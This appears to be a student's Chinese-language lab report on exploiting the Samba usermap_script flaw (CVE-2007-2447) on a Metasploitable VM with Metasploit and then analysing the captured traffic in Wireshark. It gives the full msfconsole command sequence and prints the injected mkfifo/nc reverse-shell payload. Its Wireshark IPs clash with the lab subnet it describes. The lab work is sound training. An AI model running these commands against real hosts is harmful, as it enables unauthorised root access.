实践七 Linux系统攻防

一、实验内容

1.主要任务

  1. Metasploit 远程渗透攻击

    使用 Metasploit 渗透测试框架,针对 Metasploitable 靶机上的 Samba 服务 usermap_script 漏洞进行远程渗透攻击,获取目标主机的 root 权限。

  2. 进行攻防对抗实践

    攻击方利用 Metasploit 对靶机实施漏洞利用并获得远程控制权,执行敏感命令;防守方使用 tcpdump 和 Wireshark 对攻击全程进行流量捕获,并从数据包中提取攻击者 IP、目标 IP 和端口、攻击发起时间、利用漏洞类型、攻击载荷(Shellcode)以及成功后执行的命令。

2.实验环境

  • 主机系统:Windows 11
  • 虚拟化平台:VMware Workstation 17 Pro
  • 虚拟机
主机 IP地址 Mac地址
Kali Linux 2020.1 192.168.188.2 00:0c:29:42:40:f9
Kali Linux 2025.4 192.168.188.7 00:0c:29:d2:d4:c0
Metasploit_ubuntu 192.168.188.4
VMNet8网卡 192.168.188.1 00:50:56:fa:aa:1e
  • 网络模式:NAT模式(VMnet8,子网 192.168.188.0/24)确保虚拟机间及与宿主机互通。

3.知识点梳理

  • Metasploit 基础msfconsole 使用、模块加载(use)、参数配置(set)、漏洞利用(exploit)和会话管理(sessions)。
  • Samba 漏洞原理usermap_script 命令注入漏洞(CVE-2007-2447),通过包含恶意 shell 元字符的用户名在 sh -c 中执行任意命令。
  • Payload 机制:反向 Shell(cmd/unix/reverse_netcat)利用 mkfifonc 建立反向连接并重定向 I/O。
  • 网络连通性诊断pingnmap 检查目标可达性与端口开放状态。
  • 流量分析tcpdump 抓包、Wireshark 过滤(tcp.portsmb)与 TCP 流追踪,从原始流量中还原攻击过程。
  • 攻击取证:从 SMB 会话请求中提取命令注入 payload,从反向连接端口的 TCP 流中恢复攻击者输入的明文命令。

二、实验过程

(1)使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

首先确认连通性

image-20260427143023870

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

image-20260427140333966

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

use /multi/samba/usermap_script

image-20260427140417214

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

image-20260427140359416

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

set RHOST 192.168.188.4
set LHOST 192.168.188.7
set LPORT 4444
set payload cmd/unix/reverse_netcat

image-20260427143151330

show options确定一下配置

image-20260427143334943

⑤执行渗透攻击;

exploit
sessions 1 #进入会话

执行渗透攻击后会看上去像是卡了,这是因为Metasploit 默认把拿到的 shell 放在后台,不会自动弹出交互界面,所以你看到提示后就停滞在那里。

这时执行sessions 1可以进入会话,然后正常执行命令就可以了

image-20260427143638462

⑥查看是否正确得到远程Shell,并查看获得的权限。

查看hostname,显示metasplotiable

image-20260427143807413

执行whoami发现现在是root

image-20260427143824375

(2)实践作业:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcp dump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

防守方开始抓包

image-20260427145244366

攻击机攻击靶机

image-20260427145617175

sudo msfconsole
use /multi/samba/usermap_script
set RHOST 192.168.188.4
set LHOST 192.168.188.7
set LPORT 4444
set payload cmd/unix/reverse_netcat
exploit
sessions 1

image-20260427145857518

依次执行了

whoami
ls
echo "HACKED by Kali 2025.4"

防守方结束抓包

image-20260427145834836

执行以下命令进行分析

wireshark /home/kali/pcap/attack.pcap

image-20260427151304336

从过滤后的流量中可以清晰看到:

源IP地址:192.168.200.2

目的IP地址:192.168.200.133

主要协议:TCP、SMB协议

image-20260427151811883

查看第一个包,发现 Arrival Time: Apr 27, 2026 14:55:50.761182000 中国标准时间,这就是攻击发起时间

追踪第八个包(SMB)

image-20260427151451810

/=`nohup mkfifo /tmp/jvsxab; nc 192.168.188.7 4444 0</tmp/jvsxab | /bin/sh >/tmp/jvsxab 2>&1; rm /tmp/jvsxab`

丢给ai分析得到这个就是 usermap_script漏洞利用的典型特征:通过构造包含命令的用户名,注入并执行反向 shell。

选取后续的一个tcp包进行追踪,骇入成功后执行的命令一览无余

image-20260427150350494

三、学习中遇到的问题及解决

1.输入指令exploit进行攻击时失败

image-20260427141012971

image-20260427141031004

事实证明,只不过是网段没有配置好,加上ip记错了

2.渗透攻击成功后卡住

执行渗透攻击后会看上去像是卡了,不会自动弹出交互界面。

原因:reverse_netcat payload 提供的是非 TTY shell,不会显示提示符;Metasploit 不会自动进入交互模式。
解决:输入 sessions 1 进入会话;若提示 Session already interactive,表明已处于 shell 中,直接输入命令即可。按回车后执行 id 等命令,得到正常回显。

四、学习感悟、思考等

这次实验让我亲手走通了 Linux 端漏洞攻击和分析的完整过程。攻击只用几条命令就能拿到 root,真实验证了不及时打补丁的后果,也说明关掉不需要的服务有多重要。防守这边用 tcpdump 抓包,再在 Wireshark 里追踪 TCP 流,攻击 IP、端口、时间、注入的命令和后来敲的 shell 都能看得一清二楚。整体下来,对 Metasploit、抓包和排错的熟练度都提高了一些,对以后学安全攻防帮助很大。

参考资料:

posted @ 2026-05-02 15:12  _Biyan  阅读(1)  评论(0)    收藏  举报